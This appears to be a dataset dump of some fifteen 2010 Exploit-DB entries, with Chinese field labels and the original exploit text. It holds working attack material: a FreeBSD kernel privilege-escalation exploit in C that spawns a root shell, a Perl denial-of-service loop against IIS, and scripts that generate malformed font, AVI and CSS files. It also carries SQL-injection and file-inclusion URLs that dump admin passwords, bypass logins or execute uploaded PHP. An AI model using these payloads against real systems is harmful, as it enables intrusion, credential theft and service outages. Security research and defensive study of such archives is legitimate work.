QLWD/code_shield huggingface dataset:
标题: Joomla! Component Community Builder Enhanced (CBE) 1.4.8/1.4.9/1.4.10 - Local File Inclusion / Remote Code Execution EDB-ID: 15222 CVE: 2010-5280 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-09 漏洞利用脚本: Description:
Joomla CBE suffers from a local file inclusion vulnerability. As CBE 
also offers file uploading functionality that allows to upload files 
that contain php-code, this can be used to execute arbitary 
system-commands on the host with the webservers privileges.

Risk:
High

Affected versions:
- CBE v1.4.10
- CBE v1.4.9
- CBE v1.4.8
(maybe older versions)

Not affaceted:
- CBE v1.4.11 (current)

Vulnerable code:
in cbe.php a file identified by the param "tabname" is included if the 
"ajaxdirekt" param is set, without sanatizing the value of "tabname" first:
-- 
$ajaxdirekt    = JRequest::getVar('ajaxdirekt', null);
     $tabname = JRequest::getVar('tabname', null);

     if ($ajaxdirekt) {
         $tabfile = 
JPATH_SITE.DS.'components'.DS.'com_cbe'.DS.'enhanced'.DS.$tabname.DS.$tabname.".php";
         if (file_exists($tabfile)) {
             include_once($tabfile);
         }
         return;
     }
-- 

Exploitation / poc:
index.php?option=com_cbe&task=userProfile&user=23&ajaxdirekt=true&tabname=../../../CREDITS.php%00 

will execute the CREDITS.php

Addional attack-vectors:
CBE offers a file-upload function for uploading user profile images. The 
uploaded file is not checked for beeing well-formed, it only needs to 
have the right mime-type and maybe (depends on profile-picture 
configuration) the right size, so we can embed php-code in the 
profile-picture. Lets say we have registered an account on the site with 
the user-id 23, then we can execute the backdoor by requesting:

index.php?option=com_cbe&task=userProfile&user=23&ajaxdirekt=true&tabname=../../../images/cbe/23.gif%00 


As we stay in the documents-root, we dont even have to worry about 
safe-mode directory restrictions, and using GIFs will bypass most of 
CBE's image pre-processing functions during file upload (except file- 
and image-size checks).

Solutions:
a) check if the contents of an uploaded file contains a php open-tag 
('<?php') (requires that the php-short-open-tag option is disabled)
b) Joomla offers several functions for accessing POST and GET params, i 
guess using getWord() instead of getVar() would be a better choice in 
this case.

History:
04.10.2010 - vendor informed
07.10.2010 - vendor released fixed version
08.10.2010 - public disclosure

Cheers
Delf Tonder URL: https://www.exploit-db.com/exploits/15222
标题: Chipmunk Pwngame - Multiple SQL Injections EDB-ID: 15223 CVE: 2010-4799 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-09 漏洞利用脚本: ===================================================
Chipmunk Pwngame <= Multiple SQL() Vulnerabilities
===================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
[+] Greatz : h4x0reSEC / Inj3ct0r Team / Exploit-DB
           { H4X0RE SECURITY PROJECT }
AQ. "Rüyalarýma bitek Uyuyoken kavuþuyosam Anladýmki Ölmekte zor deðil.."
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : Chipmunk Pwngame
~Software: http://www.chipmunk-scripts.com/page.php?ID=34
~Vulnerability Style : SQL Vulnerabilities
-----------
~Demo:  http://www.chipmunk-scripts.com/pwngame/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
    ~~~~~~~~ Explotation| Auth bypass() ~~~~~~~~~~~
    http://VICTIM/Path/login.php
     Username : ' or 1=1-- -H4x0reSEC
     Password : ' or 1=1-- -H4x0reSEC
    ================================
    ~~~~~~~~ Explotation| Blind SQL Inj()  ~~~~~~~~~~~
     http://VICTIM/Path/pwn.php?ID=1 [Blind]
     http://VICTIM/Path/pwn.php?ID=1 and 1=0
     http://VICTIM/Path/pwn.php?ID=1 and 1=1
    ================================ URL: https://www.exploit-db.com/exploits/15223
标题: FreeBSD - 'pseudofs' Null Pointer Dereference Privilege Escalation EDB-ID: 15206 CVE: 2010-4210 类型: LOCAL 平台: BSD 发布日期: 2010-10-04 漏洞利用脚本: /*
 * source: https://www.securityfocus.com/bid/43060/info
 * 18.08.2010, babcia padlina
 * FreeBSD 7.0 - 7.2 pseudofs null ptr dereference exploit
 *
 *
 * to obtain SYSENT8_SYCALL_ADDR, run:
 * $ kgdb /boot/kernel/kernel
 * (kgdb) print &sysent[8].sy_call
 */

#define SYSENT8_SYCALL_ADDR 0xc0c4afa4  /* FreeBSD 7.2-RELEASE */

#define _KERNEL

#include <sys/param.h>
#include <sys/conf.h>
#include <sys/ucred.h>

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/extattr.h>
#include <sys/uio.h>
#include <sys/turnstile.h>
#include <sys/queue.h>

struct turnstile {
 struct mtx ts_lock;
 struct threadqueue ts_blocked[2];
 struct threadqueue ts_pending;
 LIST_ENTRY(turnstile) ts_hash;
 LIST_ENTRY(turnstile) ts_link;
 LIST_HEAD(, turnstile) ts_free;
 struct lock_object *ts_lockobj;
 struct thread *ts_owner;
};

volatile int gotroot = 0;

static void kernel_code(void) {
 struct thread *thread;

 asm(
  "movl %%fs:0, %0"
  : "=r"(thread)
 );

 /*
  * kernel_code() is called while thread is in critical section,
  * so we need to unset td_critnest flag to prevent panic after
  * nearest user mode page fault.
  */
 thread->td_critnest = 0;
 thread->td_proc->p_ucred->cr_uid = 0;
 thread->td_proc->p_ucred->cr_prison = NULL;
 gotroot = 1;

 return;
}

int main(int argc, char **argv) {
 struct turnstile *ts = 0;

 if (access("/proc/curproc/cmdline", R_OK)) {
  printf("procfs not found.\n");
  return -1;
 }

 if (mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
  printf("mmap 0x0 failed.\n");
  return -1;
 }

 memset(0, 0, PAGE_SIZE);

 /* 
  * we need to call dummy extattr_get_link() here, to make
  * libc memory pages accessible without user mode page fault. without
  * it, panic will occur after next extattr_get_link().
  */
 extattr_get_link("/dev/null", 0, 0, 0, 0);

 /* overwrite sysent[8].sy_call with 0x0 */
 ts->ts_blocked[0].tqh_first = (void *)(SYSENT8_SYCALL_ADDR - 0x1c);
 extattr_get_link("/proc/curproc/cmdline", 0, 0, 0, 0);

 *(char *)0x0 = 0x90;
 *(char *)0x1 = 0xe9;
 *(unsigned long *)0x2 = &kernel_code;

 asm(
  "movl $0x8, %eax;"
  "int $0x80;"
 );

 if (gotroot) {
  printf("oops, I did it again.\n");
  setuid(0);
  setgid(0);
  execl("/bin/sh", "sh", NULL);
 }

 printf("exploit failed.\n");

 return 0;
} URL: https://www.exploit-db.com/exploits/15206
标题: DNET Live-Stats 0.8 - Local File Inclusion EDB-ID: 15204 CVE: 2010-4858 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-04 漏洞利用脚本: # Exploit Title: DNET Live-Stats 0.8 Local File Inclusion
# Date: 10-04-10
# Author: Blake
# Software Link: http://sourceforge.net/projects/dnetlivestats/files/0.8/dnet-live-stats-0.8-rc8.zip/download
# Version: 0.8 rc8
# Tested on: Windows XP SP3 running xampp lite

The showlang parameter does not properly sanitize user input.

POC:
http://127.0.0.1/dnet/team.rc5-72.php?showlang=../../../../../../../../../../../../boot.ini%00 URL: https://www.exploit-db.com/exploits/15204
标题: Microsoft IIS 6.0 - ASP Stack Overflow Stack Exhaustion (Denial of Service) (MS10-065) EDB-ID: 15167 CVE: 2010-1899 类型: DOS 平台: WINDOWS 发布日期: 2010-10-01 漏洞利用脚本: Affected Vendors
Microsoft

Affected Products
Only Microsoft IIS 6.0 was tested successfully
On a Windows Server 2003 SP2 System
The System was NOT updated to the latest patches during testing.
Since tests “in the wild” have shown the attack to be real this advisory was released.

Vulnerability Details

The vulnerability allows remote unauthenticated attackers to force the IIS server to become
unresponsive until the IIS service is restarted manually by the administrator.
Required is that Active Server Pages are hosted by the IIS and that an ASP script reads out a
Post Form value. When the following ASP script is hosted by IIS the attacker can run the
attack:

 <%
  Dim variable
  variable = Request.Form(“FOOBAR”)
 %>

This small script reads out a POST request argument from the client side.

The exploit is simple: The attacker sends a POST request to the ASP site which reads out
POST arguments. The POST request includes > 40000 request parameters and is sent in the
form of an application/x-www-form-urlencoded encoding type.

The result is that one IIS worker process crashes because of a stack overflow (here stack
exhaustion). Tests have shown that five consecutive requests of this type will cause the
default application pool to be disabled because of a series of failures of the IIS worker
processes. The IIS shows a “Service Unavailable” response to requesting clients until the
World Wide Web Publishing Service is restarted manually by the administrator.


PoC Exploit
# IIS 6.0 ASP DoS PoC
# usage: perl IISdos.pl <host> <asp page>
use IO::Socket;
$|=1;
$host = $ARGV[0];
$script = $ARGV[1];
while(1) {
$sock = IO::Socket::INET->new(PeerAddr => $host,
                   PeerPort => 'http(80)',
                   Proto => 'tcp');
$write = "C=A&" x 40000;
print $sock "HEAD /$script HTTP/1.1\r\nHost: $host\r\n"
           ."Connection:Close\r\nContent-Type: application/x-www-form-urlencoded\r\n"
           ."Content-Length:". length($write) ."\r\n\r\n" . $write;
print ".";
while(<$sock>) {
           print;
}
}


Exploit-DB Notes:
In our tests, a specific setting has to be modified in metabase.xml in order to trigger the exhaustion.  Tested systems: Windows Server 2003 Standard SP2, Windows Server 2003 Standard SP1, Windows Server 2003 Standard SP0 URL: https://www.exploit-db.com/exploits/15167
标题: Microsoft Unicode Scripts Processor - Remote Code Execution (MS10-063) EDB-ID: 15158 CVE: 2010-2738 类型: DOS 平台: WINDOWS 发布日期: 2010-09-30 漏洞利用脚本: '''
 
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  (Final Binary Analysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

'''
  Title             : Microsoft Unicode Scripts Processor Remote Code Execution 
  Version           : usp10.dll XP , Vista
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.microsoft.com
  Impact            : Critical
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-2738
  MOAUB Number      : MOAUB-FINAL

http://www.exploit-db.com/moaub-30-microsoft-unicode-scripts-processor-remote-code-execution-ms10-063/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15158.zip (moaub-30-PoC.zip)
'''

import sys
import struct
def main():
   
    try:
    
  fdR = open('src.ttf', 'rb+')
  strTotal = fdR.read()
  str1 = strTotal[:18316]
  nGroups = '\x00\x00\x00\xDC'          # nGroups field from Format 12 subtable  of cmap table
  startCharCode = '\x00\xE5\xF7\x20'    # startCharCode  field from a Group Structure
  endCharCode  = '\x00\xE5\xF7\xFE'     # endCharCode  field from a Group Structure
  str2 = strTotal[18328:]
  
  fdW= open('FreeSans.ttf', 'wb+')
  fdW.write(str1)
  fdW.write(nGroups)
  fdW.write(startCharCode)
  fdW.write(endCharCode)
  fdW.write(str2)
  fdW.close()
  fdR.close()
  print '[-] Font file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/15158
标题: MyPhpAuction 2010 - 'id' SQL Injection EDB-ID: 15154 CVE: 2010-4860 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-29 漏洞利用脚本: ==
# Title: MyPhpAuction 2010 (id) Remote SQL Injection Vuln
# Version: 2010
# Link: http://galaxyscriptz.com/products/MyPhpAuction-2010.html
==
# Author: BorN To K!LL - h4ck3r
# Contact: SQL@hotmail.co.uk
==
# 3xploit:
/product_desc.php?id=-5+union+all+select+1,2,concat(admin_name,0x3a,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+zeeauctions_admin--

then get username & password n then go to the admin panel ,,

# Admin Panel:
/admin


# Greetings:
Dr.2 , Inject0r's Community , AsbMay's Group , darkc0de team , and all ma friends ,,
== URL: https://www.exploit-db.com/exploits/15154
标题: Webspell 4.2.1 - 'asearch.php' SQL Injection EDB-ID: 15151 CVE: 2010-4861 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-29 漏洞利用脚本: ################# INFORMATION ##################################################
+Name : webspell 4.2.1 asearch.php SQL Injection Vulnerability
+Author : silent vapor
+Date   : 29.09.2010
+Script  : webspell 4.2.1
+Price : free
+Language :PHP
+Discovered by silent vapor
+Underground Agents
+Greetz to Team-Internet, 4004-Security-Project, Easy Laster
################################################################################

+Vulnerability : http://localhost/webspell/asearch.php?site=search&table=user&
column=nickname&exact=true&identifier=userID&searchtemp=search_user&search=

+Exploitable   : http://localhost/webspell/asearch.php?site=search&table=user&
column=nickname&exact=true&identifier=userID&searchtemp=search_user&search=
admin%2527%20UNION+/**/+SELECT%201,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM
%20ws_2lu_user%20WHERE%20%25271%2527=%25271

################################################################################ URL: https://www.exploit-db.com/exploits/15151
标题: Joomla! Component JE Guestbook 1.0 - Multiple Vulnerabilities EDB-ID: 15157 CVE: 2010-4865 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-30 漏洞利用脚本: JE Guestbook 1.0 Joomla Component Multiple Remote Vulnerabilities

 Name              JE Guestbook
 Vendor            http://www.joomlaextensions.co.in
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-09-30

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

JE Guest  Component  is  an open source Joomla guestbook
component  with  spam protection  and many customization
options.


II. DESCRIPTION
_______________

Some parameters are not properly sanitised.


III. ANALYSIS
_____________

Summary:

 A) Local File Inclusion
 B) Multiple Blind SQL Injection
 

A) Local File Inclusion
_______________________

Input passed to the "view" parameter in  jeguestbook.php
(when option is set to com_jeguestbook)  is not properly
verified before being used to include files. This can be
exploited   to   include   arbitrary  files  from  local
resources    via   directory   traversal   attacks   and
URL-encoded NULL bytes.


B) Multiple Blind SQL Injection
_______________________________

Many parameters are not properly sanitised before being
used in SQL queries.This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Local File Inclusion

http://site/path/index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00


B) Multiple Blind SQL Injection

http://site/path/index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))


V. FIX
______

No fix. URL: https://www.exploit-db.com/exploits/15157
标题: Microsoft Excel - SxView Record Parsing Heap Memory Corruption EDB-ID: 15148 CVE: 2010-1245 类型: DOS 平台: WINDOWS 发布日期: 2010-09-29 漏洞利用脚本: '''
  __  __  ____         _    _ ____
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  (day 29 binary analysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/
  
'''
  
  Title               :  Microsoft Excel SxView  Record Parsing Heap Memory Corruption
  Version             :  Excel 2002 SP3
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  High
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-1245
  
here is BA : http://www.exploit-db.com/moaub-29-microsoft-excel-sxview-record-parsing-memory-corruption/
here is the PoC : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15148.rar (moaub-29-exploit.rar) URL: https://www.exploit-db.com/exploits/15148
标题: Entrans - SQL Injection EDB-ID: 15126 CVE: 2010-4935 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-27 漏洞利用脚本: # Exploit Title: Entrans SQLi vulnerablility
# Date: 2010/9/27
# Author: keracker
# Software Link: http://sourceforge.net/projects/entrans/
# Software Description: Entrans is an online collaborative translation tool used for editing and translation of PO files. It provides features such as ``dynamic'' keyboard for Indian languages and automated suggestions to help beginners and experts alike. 
# Version: all
# Tested on: windows

# xpl:
    http::/localroot/poll.php?sid=-1+union+all+select+1--



#Greetz:
    ALL IRANIAN MUSLIM HACKERs URL: https://www.exploit-db.com/exploits/15126
标题: Microsoft Internet Explorer - MSHTML Findtext Processing EDB-ID: 15122 CVE: 2010-2553 类型: DOS 平台: WINDOWS 发布日期: 2010-09-27 漏洞利用脚本: <html>
<body>
<input type="button" value="Crachme!" onclick="Search()"/>
<input  type="text" value="Abysssec" id="Abysssec">&lt;/textarea&gt;

<script type="text/javascript">
function Search(){
var textinput  = document.getElementById("Abysssec");

var textRange = textinput.createTextRange();
textRange.findText(unescape("%u4141"),-1);
textRange.select(document.getElementById('d'));
document.body.appendChild(textinput);
}
</script>
<p id="p">Abysssec</p>
http://www.exploit-db.com/moaub-27-microsoft-internet-explorer-mshtml-findtext-processing-issue/
</body>
</html>
</p>
</body>
</html> URL: https://www.exploit-db.com/exploits/15122
标题: Mozilla Firefox CSS - font-face Remote Code Execution EDB-ID: 15104 CVE: 2010-2752 类型: DOS 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

 http://www.exploit-db.com/moabu-15-mozilla-firefox-css-font-face-remote-code-execution-vulnerability/
 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15104.zip (moaub-25-exploit.zip)
 
'''

'''
  Title             :  Mozilla Firefox CSS font-face Remote Code Execution Vulnerability
  Version           :  Firefox
  Analysis          :  http://www.abysssec.com
  Vendor            :  http://www.mozilla.com
  Impact            :  Crirical
  Contact           :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           :  @abysssec
  CVE               :  CVE-2010-2752
  
'''

import sys;

myStyle = """
  @font-face {
    font-family: Sean;
    font-style:  normal;
    font-weight: normal;
    src: url(SEAN1.eot);
    src: url('type/filename.woff') format('woff')

"""
i=0
while(i<50000):
    myStyle = myStyle + ",url('type/filename.otf') format('opentype')\n";
    i=i+1

myStyle = myStyle + ",url('type/filename.otf') format('opentype');\n";
myStyle = myStyle + "}\n";
cssFile = open("style2.css","w")
cssFile.write(myStyle)
cssFile.close() URL: https://www.exploit-db.com/exploits/15104
标题: Microsoft MPEG Layer-3 Audio Decoder - Division By Zero EDB-ID: 15096 CVE: 2010-0480 类型: DOS 平台: WINDOWS 发布日期: 2010-09-24 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-24-microsoft-mpeg-layer-3-audio-decoder-division-by-zero/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15096.zip (moaub-24-mp3-exploit.zip)
'''

'''
  Title            :  Microsoft MPEG Layer-3 Audio Decoder Division By Zero
  Version          :  l3codeca.acm 1-9-0-306 (XP SP2 ñ XP SP3)
  Analysis        :  http://www.abysssec.com
  Vendor           :  http://www.microsoft.com
  Impact           :  Med/High
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
  MOAUB Number     :  MOAUB-02
'''

import sys
import struct


def main():
   
    try:
  fdR = open('src.avi', 'rb+')
  strTotal = fdR.read()
  str1 = strTotal[:4428]
  nSamplesPerSecField = '\x00\xff\xff\xff'
  str2 = strTotal[4432:]
  
  fdW= open('poc.avi', 'wb+')
  fdW.write(str1)
  fdW.write(nSamplesPerSecField)
  fdW.write(str2)
  fdW.close()
  fdR.close()
  print '[-] AVI file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/15096
标题: GeekLog 1.3.8 (filemgmt) - SQL Injection EDB-ID: 15091 CVE: 2010-4933 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-23 漏洞利用脚本: GeekLog v1.3.8  (filemgmt) SQL Injection Vulnerability

###########################

Author : Gamoscu

Homepage : http://www.1923turk.com

Blog :http://gamoscu.wordpress.com/

Script : http://www.geeklog.net/filemgmt/viewcat.php?cid=8

Download:http://www.geeklog.net/filemgmt/viewcat.php?cid=8

###########################

[ Vulnerable File ]

filemgmt/singlefile.php?lid=1 [ SQL ]

[ XpL ]

-1+union+all+select+1,2,concat_ws(username,0x3a,passwd),4,5,6,7,8,9,10,11,12,13,14,15,16+from+gl_users+limit+1,1--

[ Demo]

http://server/filemgmt/singlefile.php?lid=-1+union+all+select+1,2,concat_ws(username,0x3a,passwd),4,5,6,7,8,9,10,11,12,13,14,15,16+from+gl_users+limit+1,1--

##############################################################
#
#
#
# Baybora: http://baybora.wordpress.com/
#
# Manas58  Delibey  Tiamo  Psiko  Turco  infazci  X-TRO
#
#
#
#            #Elektrikist#
#
#
#
#             FREEGAZA
#
#
#            PKK ALEM SIKSIN SIZI
#
############################################# URL: https://www.exploit-db.com/exploits/15091
标题: WAnewsletter 2.1.2 - SQL Injection EDB-ID: 15090 CVE: 2010-4940 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-23 漏洞利用脚本: ================================================
WAnewsletter v 2.1.2 SQL Injection Vulnerability
================================================

################################################################################################
# Exploit Title: WAnewsletter v 2.1.2 SQL Injection Vulnerabilitie
# Date: 23/09/2010
# Author: BrOx-Dz
# Author: E.dz@hotmail.fr
# Software Link:http://phpcodeur.net/wascripts/wanewsletter/releases/2.1.2/wanewsletter-2.1.2.zip
# Dork  : no Kids
# Version: 2.1.2
# Tested on: windows xp pack 3
################################################################################################
 
   
--[ Exploitable ]--

http://site/index.php?service=5&id=[SQL Injection]



http://site/index.php?service=5&id=4375+UNION+SELECT+1,2,3,concat(user,0x3a,passwd),5+from+wa_admin--


and go

http://site/admin/login.php


--[ Demo ]--


http://site/index.php?service=5&id=-4375+UNION+SELECT+1,2,3,concat(user,0x3a,passwd),5+from+wa_admin--




Good Luck URL: https://www.exploit-db.com/exploits/15090